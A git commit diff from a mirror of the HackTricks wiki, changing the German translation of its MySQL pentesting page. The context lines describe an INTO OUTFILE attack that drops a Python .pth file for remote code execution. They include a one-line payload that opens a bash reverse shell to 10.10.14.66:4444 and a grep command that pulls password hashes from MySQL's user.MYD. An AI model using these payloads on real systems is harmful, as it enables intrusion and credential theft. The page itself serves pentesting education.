mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to de
This commit is contained in:
parent
9521102e8d
commit
4d26d51639
@ -1,15 +1,10 @@
|
|||||||
# 3306 - Pentesting Mysql
|
# 3306 - Pentesting Mysql
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
## References
|
|
||||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **Grundinformationen**
|
## **Grundlegende Informationen**
|
||||||
|
|
||||||
**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die das Management und die Manipulation von Datenbanken ermöglicht.
|
**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die die Verwaltung und Manipulation von Datenbanken ermöglicht.
|
||||||
|
|
||||||
**Standardport:** 3306
|
**Standardport:** 3306
|
||||||
```
|
```
|
||||||
@ -116,13 +111,13 @@ Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/do
|
|||||||
|
|
||||||
#### INTO OUTFILE → Python `.pth` RCE (sitespezifische Konfigurations-Hooks)
|
#### INTO OUTFILE → Python `.pth` RCE (sitespezifische Konfigurations-Hooks)
|
||||||
|
|
||||||
Durch den Missbrauch des klassischen `INTO OUTFILE` Primitivs ist es möglich, *willkürliche Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.
|
Durch den Missbrauch des klassischen `INTO OUTFILE`-Primitivs ist es möglich, *willkürliche Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.
|
||||||
|
|
||||||
1. Verwenden Sie `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`).
|
1. Verwenden Sie `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`).
|
||||||
2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird.
|
2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird.
|
||||||
3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständige Pre-Auth RCE).
|
3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständige Pre-Auth RCE).
|
||||||
|
|
||||||
Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der finalen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich):
|
Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der endgültigen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich):
|
||||||
```python
|
```python
|
||||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||||
```
|
```
|
||||||
@ -270,9 +265,9 @@ Sie können sie extrahieren, indem Sie Folgendes tun:
|
|||||||
```bash
|
```bash
|
||||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||||
```
|
```
|
||||||
### Aktivierung der Protokollierung
|
### Aktivierung des Loggings
|
||||||
|
|
||||||
Sie können die Protokollierung von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren:
|
Sie können das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -300,7 +295,7 @@ Konfigurationsdateien
|
|||||||
- update.log
|
- update.log
|
||||||
- common.log
|
- common.log
|
||||||
|
|
||||||
## Standard MySQL-Datenbank/-Tabellen
|
## Standard MySQL-Datenbank/Tabellen
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="information_schema"}}
|
{{#tab name="information_schema"}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user